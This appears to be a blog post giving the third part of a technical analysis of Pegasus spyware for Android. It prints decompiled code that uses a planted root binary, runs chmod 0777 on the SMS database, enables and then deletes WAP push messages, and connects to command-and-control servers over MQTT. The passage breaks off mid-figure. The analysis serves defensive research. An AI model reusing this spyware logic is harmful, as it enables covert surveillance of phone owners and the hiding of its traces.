A technical analysis of Pegasus for Android – Part 3

cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-3/

Summary

Pegasus is a spyware developed by the NSO group that was repeatedly analyzed by Amnesty International and CitizenLab. In this article, we dissect the Android version that was initially analyzed by Lookout in this paper, and we recommend reading it along with this post. During our research about Pegasus for Android, we've found out that vendors wrongly attributed some undocumented APK files to Pegasus, as highlighted by a researcher here. We've splitted the analysis into 3 parts because of the code's complexity and length. We've also tried to keep the sections name proposed by Lookout whenever it was possible so that anybody could follow the two approaches more easily. In this last part, we're presenting the WAP Push messages that could be used to autoload content on the phone without user interaction, the C2 communication over the MQTT protocol, the exploitation of a vulnerability in MediaPlayer that was not disclosed before, and the ability of the spyware to track phone's locations. You can consult the second part of the Pegasus analysis here.

Analyst: @GeeksCyber

Technical analysis

SHA256: ade8bef0ac29fa363fc9afd958af0074478aef650adeb0318517b48bd996d5d5

Pegasus initialization

The agent extracts the Android version, a string that uniquely identifies the build, and tries to retrieve a configuration value called "isItFirstRunEver" that indicates if this is the first run of the malware:

```
protected final void a(IntentFilter paramIntentFilter) {
  a.a("NetworkApp 2.9.3 initialize start API: " + Build.VERSION.SDK_INT + ", FINGERPRINT " + Build.FINGERPRINT);
  try {
    Context context = getApplicationContext();
    e = context;
    SharedPreferences sharedPreferences = getSharedPreferences("NetworkPreferences", 0);
    b.lock();
    boolean bool = sharedPreferences.getBoolean("isItFirstRunEver", true);
```

Figure 1

The process verifies whether the "/data/data/com.network.android" directory exists on the device; otherwise, it is created. The existence of the directory means that this is not the first execution of the malware, and the "isItFirstRunEver" value is set to false using the putBoolean function:

```
StringBuilder stringBuilder = new StringBuilder();
this("NetworkApp initialize is it first run in conf : ");
a.a(stringBuilder.append(bool).toString());
if (bool) {
  File file = new File();
  this("/data/data/com.network.android");
  b.a(file.getAbsolutePath());
  file.mkdir();
  sharedPreferences = getSharedPreferences("NetworkPreferences", 0);
  a.a("NetworkApp initialize setting first run param to false");
  SharedPreferences.Editor editor = sharedPreferences.edit();
  editor.putBoolean("isItFirstRunEver", false);
  editor.commit();
```

Figure 2

It checks the existence of the malicious APK file on the phone and will use the superuser binary called “/system/csk” to run commands with root privileges:

```
public static int a(Context paramContext) {
  int i = 0;
  int j = 0;
  try {
    StringBuilder stringBuilder2 = new StringBuilder();
    this("SystemJumper - jumpToSystem start. apkPath: ");
    com.network.android.c.a.a.a(stringBuilder2.append(b.c(paramContext)).toString());
    if (b.d(paramContext)) {
      com.network.android.c.a.a.a("SystemJumper - copyMySuFileToSystem - agent is already installed on system direcotry. returning.");
      return j;
    }
    if (com.network.a.a.b() > 4.0D) {
      com.network.android.c.a.a.a("SystemJumper - copyMySuFileToSystem - this is android 4 version. somthing is wrong. returning.");
      File file = new File();
      this("/system/csk");
      if (file.exists()) {
        com.network.android.c.a.a.a("SystemJumper - MY_SU exist! running in debug mode!");
      } else {
        return -1;
      }
    }
    File file2 = new File();
    this("/system/csk");
    j = i;
    if (!file2.exists()) {
      i = c(paramContext);
      j = i;
      if (i != 0) {
        com.network.android.c.a.a.a("SystemJumper - jumpToSystem copyMySuFileToSystem failed. returning");
        return -1;
      }
    }
    if (b.h(paramContext)) {
      com.network.android.c.a.a.a("SystemJumper - jumpToSystem found antidute. not jumping. returning");
      return -1;
    }
    StringBuilder stringBuilder1 = new StringBuilder();
    this();
    String str2 = stringBuilder1.append((paramContext.getApplicationInfo()).dataDir).append("/adrubh.dat").toString();
    com.network.android.c.a.a.a("SystemJumper - copyBHParamsFileToTheSize start.");
    File file1 = new File();
    this("/data/myappinfo");
    if (!file1.exists()) {
      com.network.android.c.a.a.a("SystemJumper - copyBHParamsFileToTheSize bh params file does not exists. returning false;.");
    } else if (1L > file1.length()) {
      com.network.android.c.a.a.a("SystemJumper - copyBHParamsFileToTheSize bh params file too small. returning false");
```

Figure 3

A check for an antidote file called “/sdcard/MemosForNotes” is performed, and the spyware removes itself if this file is found (see figure 4).

```
public static boolean h(Context paramContext) {
  if ((new File("/sdcard/MemosForNotes")).exists()) {
    a.a("checkIfAntiduteExists. killing self");
    a(paramContext);
    return true;
  }
  a.a("checkIfAntiduteExists. no antidute found. returning false");
  return false;
}
```

Figure 4

The agent calls multiple functions that steal information from the targeted applications, as shown in the figure below.

```
  bool = sharedPreferences.getBoolean("finish", true);
  n n = new n();
  this();
  a((r)n, paramIntentFilter);
  a a = new a();
  this();
  a((r)a, paramIntentFilter);
  g g = new g();
  this(bool);
  a((r)g, paramIntentFilter);
  e e = new e();
  this();
  a((r)e, paramIntentFilter);
  l l = new l();
  this();
  a((r)l, paramIntentFilter);
  context.getContentResolver();
  m.a(SmsReceiver.c, context, false);
  context.getContentResolver();
  a.a(SmsReceiver.c, context, false);
  context.getContentResolver();
  g.a(SmsReceiver.c, context, false);
  context.getContentResolver();
  c.a(SmsReceiver.c, context, false);
  context.getContentResolver();
  i.a(SmsReceiver.c, context, false);
  context.getContentResolver();
  e.a(SmsReceiver.c, context, false);
  BlackScreen.a((Context)this, sharedPreferences);
  a.c(context);
  b.a();
} catch (Throwable throwable) {
  a.a("initialize: " + throwable.getMessage(), throwable);
}
a.a("NetworkApp initialize end");
```

Figure 5

A value called “screen_off_timeout”, which represents the number of milliseconds before the device goes to sleep or begins to dream after inactivity, is extracted by the process and is compared with 15 seconds. Other configuration values such as “wasPhoneWasUnmutedAfterTapNicly” [sic], “originalVibrateValue”, and “originalRingerValue” are also extracted from configuration:

```
try {
  a.a("BlackScreen fixSettingsIfWeDidntFinishNicly checking screen turn off interval");
  int i = Settings.System.getInt(paramContext.getContentResolver(), "screen_off_timeout", 0);
  StringBuilder stringBuilder = new StringBuilder();
  this("BlackScreen fixSettingsIfWeDidntFinishNicly after getting interval. value: ");
  a.a(stringBuilder.append(i).toString());
  if (i < 15000) {
    a.a("BlackScreen fixSettingsIfWeDidntFinishNicly screen interval is too low. means tap wasn't finished nicly. setting original value to screen timeout");
    int j = paramSharedPreferences.getInt("ScreenTimeout", 0);
    i = j;
    if (j < 15000) {
      a.a("BlackScreen fixSettingsIfWeDidntFinishNicly screen timeout in conf was too small. setting default value");
      i = 60000;
    }
    Settings.System.putInt(paramContext.getContentResolver(), "screen_off_timeout", i);
    stringBuilder = new StringBuilder();
    this("BlackScreen fixSettingsIfWeDidntFinishNicly after setting screen timeout. value: ");
    a.a(stringBuilder.append(i).toString());
  }
  i = paramSharedPreferences.getInt("wasPhoneWasUnmutedAfterTapNicly", 1);
  stringBuilder = new StringBuilder();
  this("BlackScreen fixSettingsIfWeDidntFinishNicly didWeFinishedUnmutingNicly: ");
  a.a(stringBuilder.append(i).toString());
  if (i == 0) {
    a.a("BlackScreen did not finish nicly. fixing settings");
    i = paramSharedPreferences.getInt("originalVibrateValue", 0);
    AutoAnswerReceiver.a(Integer.valueOf(paramSharedPreferences.getInt("originalRingerValue", 0)), Integer.valueOf(i), paramContext);
    a(Integer.valueOf(paramSharedPreferences.getInt("screenProximtySensor", 1)).intValue(), paramContext);
  }
```

Figure 6

WAP Push Messages

The process logs a message that indicates a change in the WAP settings:

```
public static void a() {
  FileWriter fileWriter;
  FileReader fileReader;
  String str = null;
  a.a("WapHandler changeWapSettings started");
  try {
    File file = new File();
    this("/system/csk");
    if (!file.exists()) {
      a.a("changeWapSettings my su does not exists. returning");
      return;
    }
```

Figure 7

It retrieves the file permissions of “/data/data/com.android.mms/shared_prefs/com.android.mms_preferences.xml” and changes them using the chmod command:

```
a.a("WapHandler changeWapSettings chmodding");
file = new File();
this("/data/data/com.android.mms/shared_prefs/com.android.mms_preferences.xml");
int i = b.b(file);
```

Figure 8

```
public static int b(File paramFile) {
  try {
    StringBuilder stringBuilder = new StringBuilder();
    this("getChmodPermissions started. getting file permissions data: ");
    a.a(stringBuilder.append(paramFile.getAbsolutePath()).toString());
    if (!paramFile.exists()) {
      a.a("getChmodPermissions file does not exists. returning");
      return -1;
    }
    int[] arrayOfInt = new int[1];
    Class.forName("android.os.FileUtils").getMethod("getPermissions", new Class[] { String.class, int[].class }).invoke(null, new Object[] { paramFile.getAbsolutePath(),
    stringBuilder = new StringBuilder();
    this("getChmodPermissions started. permissions data: ");
    a.a(stringBuilder.append(arrayOfInt[0]).toString());
    return arrayOfInt[0];
```

Figure 9

```
if (-1 != i) {
  str = Integer.toString(i, 8);
  StringBuilder stringBuilder2 = new StringBuilder();
  this("chmod ");
  String str2 = stringBuilder2.append(str).append(" ").append("/data/data/com.android.mms/shared_prefs/com.android.mms_preferences.xml").toString();
  StringBuilder stringBuilder1 = new StringBuilder();
  this("WapHandler changeWapSettings running command: ");
  a.a(stringBuilder1.append(str2).toString());
  m.c(str2);
}
```

Figure 10

The LD_LIBRARY_PATH environment variable is modified, and the above file's permissions are set to read & write (0666):

```
StringBuilder stringBuilder = new StringBuilder();
this("export LD_LIBRARY_PATH=/vendor/lib:/system/lib; chmod 0666 ");
m.c(stringBuilder.append("/data/data/com.android.mms/shared_prefs/com.android.mms_preferences.xml").toString());
fileReader = (FileReader)new char[(int)file.length()];
FileReader fileReader1 = new FileReader(file);
try {
  fileReader1.read((char[])fileReader);
  fileReader1.close();
```

Figure 11

The agent changes the WAP settings to enable push messages, as highlighted in the figure below.

```
"\"pref_key_service_loading_action\">Always</string>").replaceAll("\"pref_key_enable_push_message\" value=\"false\"", "\"pref_key_enable_push_message\" value=\"true\"");
```

Figure 12

The malware verifies if the Build.FINGERPRINT value contains "JPKJ2", and it stops the Messages app:

```
FileWriter fileWriter1 = new FileWriter();
this("/data/data/com.android.mms/shared_prefs/com.android.mms_preferences.xml");
try {
  fileWriter1.write(str1);
  fileWriter1.close();
  if (!Build.FINGERPRINT.contains("JPKJ2"))
    m.c("export LD_LIBRARY_PATH=/vendor/lib:/system/lib; am force-stop com.android.mms");
  a.a("WapHandler changeWapSettings end");
  return;
```

Figure 13

The superuser binary called "/system/csk" is expected to be found on the phone (see figure 14).

```
:try_start_0
invoke-static {}, Lcom/network/b/b;->c()Z

move-result v0

if-nez v0, :cond_c

const-string v0, "removeWapMessage android doesnt have PE."

invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 14

The malicious process checks for the existence of the SMS/MMS database at “/data/data/com.android.providers.telephony/databases/mmssms.db”:

```
const-string v0, "/data/data/com.android.providers.telephony/databases/mmssms.db"

new-instance v1, Ljava/lang/StringBuilder;

const-string v2, "removeWapMessage:"

invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v1

invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

new-instance v1, Ljava/io/File;

invoke-direct {v1, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V

invoke-virtual {v1}, Ljava/io/File;->exists()Z

move-result v1

if-nez v1, :cond_56

new-instance v1, Ljava/lang/StringBuilder;

const-string v2, "removeWapMessage DB not exists -> exit!: "

invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
```

Figure 15

The permissions of the “mmssms.db”, “mmssms.db-shm”, and “mmssms.db-wal” databases are changed to 0777 (read, write, & execute for owner, group and others):

```
const-string v4, "/data/data/com.android.providers.telephony/databases"

const/4 v5, 0x3

new-array v5, v5, [Ljava/lang/String;

const/4 v6, 0x0

const-string v7, "mmssms.db"

aput-object v7, v5, v6

const/4 v6, 0x1

const-string v7, "mmssms.db-shm"

aput-object v7, v5, v6

const/4 v6, 0x2

const-string v7, "mmssms.db-wal"

aput-object v7, v5, v6

invoke-static {v4, v5}, Lcom/network/android/m;->a(Ljava/lang/String;[Ljava/lang/String;)Ljava/util/HashMap;

move-result-object v6

const-string v7, "0777"

invoke-static {v7, v4, v5}, Lcom/network/android/m;->a(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)V
```

Figure 16

```
static HashMap a(String paramString, String[] paramArrayOfString) {
  try {
    StringBuilder stringBuilder = new StringBuilder();
    this("getChmodPermissionsIntoArrayForMiltiplyFilesInFolder starting for file path: ");
    a.a(stringBuilder.append(paramString).toString());
    HashMap<Object, Object> hashMap = new HashMap<Object, Object>();
    this();
    try {
      String[] arrayOfString = paramString.split("/");
      String str = "";
      byte b;
      for (b = 0; b < arrayOfString.length; b++) {
        StringBuilder stringBuilder1 = new StringBuilder();
        this();
        str = stringBuilder1.append(str).append(arrayOfString[b]).toString();
        if (str.length() > 1) {
          File file = new File();
          this(str);
          hashMap.put(str, Integer.valueOf(b.b(file)));
        }
        stringBuilder1 = new StringBuilder();
        this();
        str = stringBuilder1.append(str).append("/").toString();
      }
```

Figure 17

```
public static void a(String paramString1, String paramString2, String[] paramArrayOfString) {
  byte b = 0;
  try {
    byte b2;
    File file = new File();
    this("/system/csk");
    if (!file.exists()) {
      a.a("setMultipleFilesChmodInFolder MY_SU does not exists. returning");
      return;
    }
    String[] arrayOfString = paramString2.split("/");
    String str = "";
    byte b1 = 0;
    while (true) {
      b2 = b;
      if (b1 < arrayOfString.length) {
        StringBuilder stringBuilder = new StringBuilder();
        this();
        str = stringBuilder.append(str).append(arrayOfString[b1]).toString();
        if (str.length() > 1) {
          stringBuilder = new StringBuilder();
          this("chmod ");
          String str1 = stringBuilder.append(paramString1).append(" '").append(str).append("'").toString();
          StringBuilder stringBuilder1 = new StringBuilder();
          this("setMultipleFilesChmodInFolder running command: ");
          a.a(stringBuilder1.append(str1).toString());
          c(str1);
        }
        stringBuilder = new StringBuilder();
        this();
        str = stringBuilder.append(str).append("/").toString();
        b1++;
        continue;
      }
      break;
    }
```

Figure 18

The agent opens one of the above databases and runs the following SQL query via a function call to rawQuery:

```
invoke-static {v0, v7, v8}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)
:try_end_87
.catch Ljava/lang/Throwable; {:try_start_84 .. :try_end_87} :catch_b9
.catchall {:try_start_84 .. :try_end_87} :catchall_252

move-result-object v1

:goto_88
:try_start_88
const-string v0, "select * from wpm"

const/4 v7, 0x0

invoke-virtual {v1, v0, v7}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
:try_end_8e
.catch Ljava/lang/Throwable; {:try_start_88 .. :try_end_8e} :catch_1c8
.catchall {:try_start_88 .. :try_end_8e} :catchall_252

move-result-object v2
```

Figure 19

The index of the “href”, “_id”, “read”, “seen”, and “thread_id” columns is extracted:

```
const-string v8, "href"

invoke-interface {v2, v8}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

move-result v8

invoke-interface {v2, v8}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;

move-result-object v8

const-string v9, "_id"

invoke-interface {v2, v9}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

move-result v9

invoke-interface {v2, v9}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;

move-result-object v9

const-string v10, "read"

invoke-interface {v2, v10}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

move-result v10

invoke-interface {v2, v10}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;

move-result-object v10

const-string v11, "seen"

invoke-interface {v2, v11}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I

move-result v11

invoke-interface {v2, v11}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;

move-result-object v11

const-string v12, "thread_id"

invoke-interface {v2, v12}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
```

Figure 20

The spyware tries to delete some WAP push messages that could be used to automatically open a link in a browser on the phone without user interaction:

```
const-string v14, "removeWapMessage seen "

invoke-direct {v13, v14}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v13, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v13

const-string v14, ", read "

invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v13

invoke-virtual {v13, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v13

const-string v14, ", href:"

invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v13

invoke-virtual {v13, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v13

const-string v14, ", thread_id:"

invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v13

invoke-virtual {v13, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v13

invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v13

invoke-static {v13}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 21

```
invoke-interface {v0, v9}, Ljava/util/List;->add(Ljava/lang/Object;)Z

invoke-interface {v7, v12}, Ljava/util/Set;->add(Ljava/lang/Object;)Z

new-instance v9, Ljava/lang/StringBuilder;

const-string v12, "removeWapMessage add TO REMOVE list seen "

invoke-direct {v9, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v9, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v9

const-string v11, ", read "

invoke-virtual {v9, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v9

invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v9

const-string v10, ", href:"

invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v9

invoke-virtual {v9, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v8

invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v8

invoke-static {v8}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 22

The WAP messages are deleted by calling the SQLiteDatabase.delete method:

```
new-instance v9, Ljava/lang/StringBuilder;

const-string v10, "_id="

invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

const-string v9, "wpm"

const/4 v10, 0x0

invoke-virtual {v1, v9, v0, v10}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I

move-result v9

new-instance v10, Ljava/lang/StringBuilder;

const-string v11, "removeWapMessage removed WAP MESSAGE"

invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v10, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

const-string v10, ", row affected : "

invoke-virtual {v0, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
```

Figure 23

```
const-string v8, "threads"

const/4 v9, 0x0

invoke-virtual {v1, v8, v0, v9}, Landroid/database/sqlite/SQLiteDatabase;->delete(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;)I

move-result v8

new-instance v9, Ljava/lang/StringBuilder;

const-string v10, "removeWapMessage removed WAP THREAD "

invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v9, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

const-string v9, ", row affected : "

invoke-virtual {v0, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

goto :goto_265

:cond_2a4
invoke-static {v6, v4, v5}, Lcom/network/android/m;->a(Ljava/util/HashMap;Ljava/lang/String;[Ljava/lang/String;)V

const-string v0, "removeWapMessage end"

invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 24

Message Queue Telemetry Transport (MQTT)

Another way to communicate with the command and control infrastructure is using the MQTT protocol.

The “should_use_mqtt” configuration value establishes whether the agent is allowed to communicate with the C2 servers via MQTT, as shown below:

```
private static boolean a(Context paramContext) {
  boolean bool2;
  boolean bool1 = true;
  try {
    boolean bool3;
    boolean bool4;
    com.network.android.c.a.a.a("isMqttAllowed starting");
    if (!b.I()) {
      com.network.android.c.a.a.a("isMqttAllowed we are not supposed to use mqtt. returning false");
      return false;
    }
```

Figure 25

Another config value called “mqttAllowedConnectionType” indicates if the phone is allowed to communicate via MQTT while it’s connected to Wi-Fi (value = 1), mobile data (value = 4), or when the device is roaming (value = 8):

```
int i = b.b();
StringBuilder stringBuilder = new StringBuilder();
this("isMqttAllowedAccordingToPhoneConnection allowedConnection: ");
com.network.android.c.a.a.a(stringBuilder.append(i).toString());
if ((e & i) == e) {
  bool2 = true;
} else {
  bool2 = false;
}
if ((f & i) == f) {
  bool3 = true;
} else {
  bool3 = false;
}
if ((i & g) == g) {
  bool4 = true;
} else {
  bool4 = false;
}
stringBuilder = new StringBuilder();
this("isMqttAllowed isAllowedOnCellular: ");
com.network.android.c.a.a.a(stringBuilder.append(bool3).toString());
stringBuilder = new StringBuilder();
this("isMqttAllowed isAllowedOnRoaming: ");
com.network.android.c.a.a.a(stringBuilder.append(bool4).toString());
stringBuilder = new StringBuilder();
this("isMqttAllowed isAllowedOnWifi: ");
com.network.android.c.a.a.a(stringBuilder.append(bool2).toString());
```

Figure 26

The malware retrieves connection status information about all network types via a function call to getAllNetworkInfo and compares the type of the network with “WIFI” and “MOBILE”:

```
NetworkInfo[] arrayOfNetworkInfo = ((ConnectivityManager)paramContext.getSystemService("connectivity")).getAllNetworkInfo();
int j = arrayOfNetworkInfo.length;
i = 0;
boolean bool5 = false;
boolean bool6;
for (bool6 = false; i < j; bool6 = bool) {
  NetworkInfo networkInfo = arrayOfNetworkInfo[i];
  boolean bool = bool6;
  if (networkInfo.getTypeName().equalsIgnoreCase("WIFI")) {
    bool = bool6;
    if (networkInfo.isConnected()) {
      com.network.android.c.a.a.a("isMqttAllowed phone is connected via wifi");
      bool = true;
    }
  }
  bool6 = bool5;
  if (networkInfo.getTypeName().equalsIgnoreCase("MOBILE")) {
    bool6 = bool5;
    if (networkInfo.isConnected()) {
      com.network.android.c.a.a.a("isMqttAllowed phone is connected via cellular");
      bool6 = true;
    }
  }
  i++;
  bool5 = bool6;
}
```

Figure 27

The isNetworkRoaming function is utilized to verify whether the phone is roaming:

```
TelephonyManager telephonyManager = (TelephonyManager)paramContext.getSystemService("phone");
if (!bool4 && j.a(telephonyManager))
  if (bool2 && bool6) {
    com.network.android.c.a.a.a("isMqttAllowed roaming not allowed  but we are connected on wifi and it is allowed");
  } else {
    com.network.android.c.a.a.a("isMqttAllowed roaming not allowed  returning false");
    return false;
  }
com.network.android.c.a.a.a("isMqttAllowed finished. returning true");
bool2 = bool1;
```

Figure 28

```
if (paramTelephonyManager.isNetworkRoaming() || AndroidCallDirectWatcher.a()) {
  boolean bool1 = true;
  a.a("DataQueue  isNetworkRoaming: " + bool1);
  return bool1;
}
boolean bool = false;
a.a("DataQueue  isNetworkRoaming: " + bool);
return bool;
```

Figure 29

The application extracts the current date and ensures that the token id found in the configuration is not null:

```
StringBuilder stringBuilder1 = new StringBuilder();
this("addServerPushListener start: ");
Date date = new Date();
this();
a.a(stringBuilder1.append(date.toGMTString()).toString());
if (SmsReceiver.b == null) {
  a.a("addServerPushListener token id is null! returning");
  return;
}
```

Figure 30

The following values are obtained from the configuration:

mqttIdPref – identify a client in combination with the username

mqttQos – quality of service for MQTT connections

mqttHost – attacker's MQTT host

mqttPort – MQTT port number

```
StringBuilder stringBuilder2 = new StringBuilder();
this();
str2 = stringBuilder2.append(b.C()).append(SmsReceiver.b).toString();
stringBuilder1 = new StringBuilder();
this();
str1 = stringBuilder1.append(b.C()).append(SmsReceiver.b).toString();
b.D();
StringBuilder stringBuilder3 = new StringBuilder();
this("tcp://");
str3 = stringBuilder3.append(b.H()).append(":").append(b.G()).toString();
```

Figure 31

The “mqttUsername” config value represents the username used during the authentication with the MQTT server, and the “mqttPassword” value is the password used during the authentication process:

```
str4 = b.B();
str5 = b.A();
if (str5 == null || str4 == null || str3 == null || str1 == null || str2 == null) {
  a.a("addServerPushListener invalid params");
  b.a(1, (short)101, "MOSQ_ERR_INVAL");
  return;
}
```

Figure 32

The malware logs a message containing the MQTT URL, username, and password and then calls a function that will start the communication:

```
StringBuilder stringBuilder = new StringBuilder();
this("addServerPushListener creating new connection. user: ");
String str1;
String str2;
String str3;
String str4;
String str5;
a.a(stringBuilder.append(str4).append(" password: ").append(str5).append(" url: ").append(str3).toString());
a a1 = new a();
this(str3, str1, str2, str4, str5, (Context)throwable);
a = a1;
b.a(1, (short)112, "MOSQ_SERVICE_ON");
```

Figure 33

The MQTT broker URL is constructed by the malicious process:

```
StringBuilder stringBuilder3 = new StringBuilder();
this("ServerPushListener New brokerUrl: ");
com.network.android.c.a.a.a(stringBuilder3.append(paramString1).append(" clientId:").append(paramString2).append(" topicName:").append(paramString3).append(" user:")
this.i = paramString1;
this.k = paramString3;
this.l = 1;
this.m = paramString2;
this.o = paramString4;
this.p = paramString5;
this.q = paramContext;
this.r = b.E();
this.s = this.r / 60;
if (this.s == 0)
  this.s = 1;
```

Figure 34

The “mqttKaTimer” configuration value represents the MQTT keep alive timer (see figure 35).

```
StringBuilder stringBuilder2 = new StringBuilder();
this("ServerPushListener keepAlive ");
com.network.android.c.a.a.a(stringBuilder2.append(this.r).toString());
stringBuilder2 = new StringBuilder();
this("ServerPushListener keepAliveMinutes ");
com.network.android.c.a.a.a(stringBuilder2.append(this.s).toString());
d d1 = new d();
this();
this.j = d1;
this.j.j();
this.j.a(this.o);
this.j.a(this.p.toCharArray());
int i = this.r * 3;
this.j.a(i);
StringBuilder stringBuilder1 = new StringBuilder();
this("ServerPushListener keepAliveInterval ");
com.network.android.c.a.a.a(stringBuilder1.append(i).toString());
e e1 = new e();
this("/data/data/com.network.android/network_cache/");
this.n = e1;
b();
```

Figure 35

Finally, the process makes network connections with the attacker's infrastructure over MQTT and compares the broker URL with "tcp://", "ssl://", and "local://":

```
private void b() {
  com.network.android.c.a.a.a("ServerPushListener - createNewConnectionObject start");
  try {
    b b1 = new b();
    this(this.i, this.m, (c)this.n);
    this.h = b1;
    this.h.a(this);
    com.network.android.c.a.a.a("ServerPushListener - createNewConnectionObject end");
```

Figure 36

```
public b(String paramString1, String paramString2, c paramc) {
  byte b1;
  if (paramString2 == null || paramString2.length() == 0 || paramString2.length() > 23)
    throw new IllegalArgumentException();
  this.g = a.a(paramString2);
  this.b = paramString1;
  if (paramString1.startsWith("tcp://")) {
    b1 = 0;
  } else if (paramString1.startsWith("ssl://")) {
    b1 = 1;
  } else if (paramString1.startsWith("local://")) {
    b1 = 2;
  } else {
    throw new IllegalArgumentException();
  }
  this.c = b1;
  this.a = paramString2;
  this.f = paramc;
  if (this.f == null)
    this.f = (c)new k();
  this.g.a(101, new Object[] { paramString2, paramString1, paramc });
  this.f.a(paramString2, paramString1);
  this.d = new a(this, this.f, this.g);
  this.f.a();
  this.e = new Hashtable<Object, Object>();
}
```

Figure 37

The maximum number of reconnection attempts is stored in a configuration value called “mqttRecCount”:

```
invoke-static {}, Lcom/network/b/b;->F()I

move-result v2

new-instance v1, Ljava/lang/StringBuilder;

const-string v3, "subscribeUntilSuccess start. times to try to connect: "

invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v1

invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v1

invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V

const-string v1, "subscribeUntilSuccess setting minutesPastFromLastConnectionFailure to 0"

invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
```

Figure 38

The agent tries to subscribe to an MQTT topic specified in the configuration, as highlighted in figure 39.

```
new-instance v0, Ljava/lang/StringBuilder;

const-string v3, "subscribeUntilSuccess attemt number: "

invoke-direct {v0, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

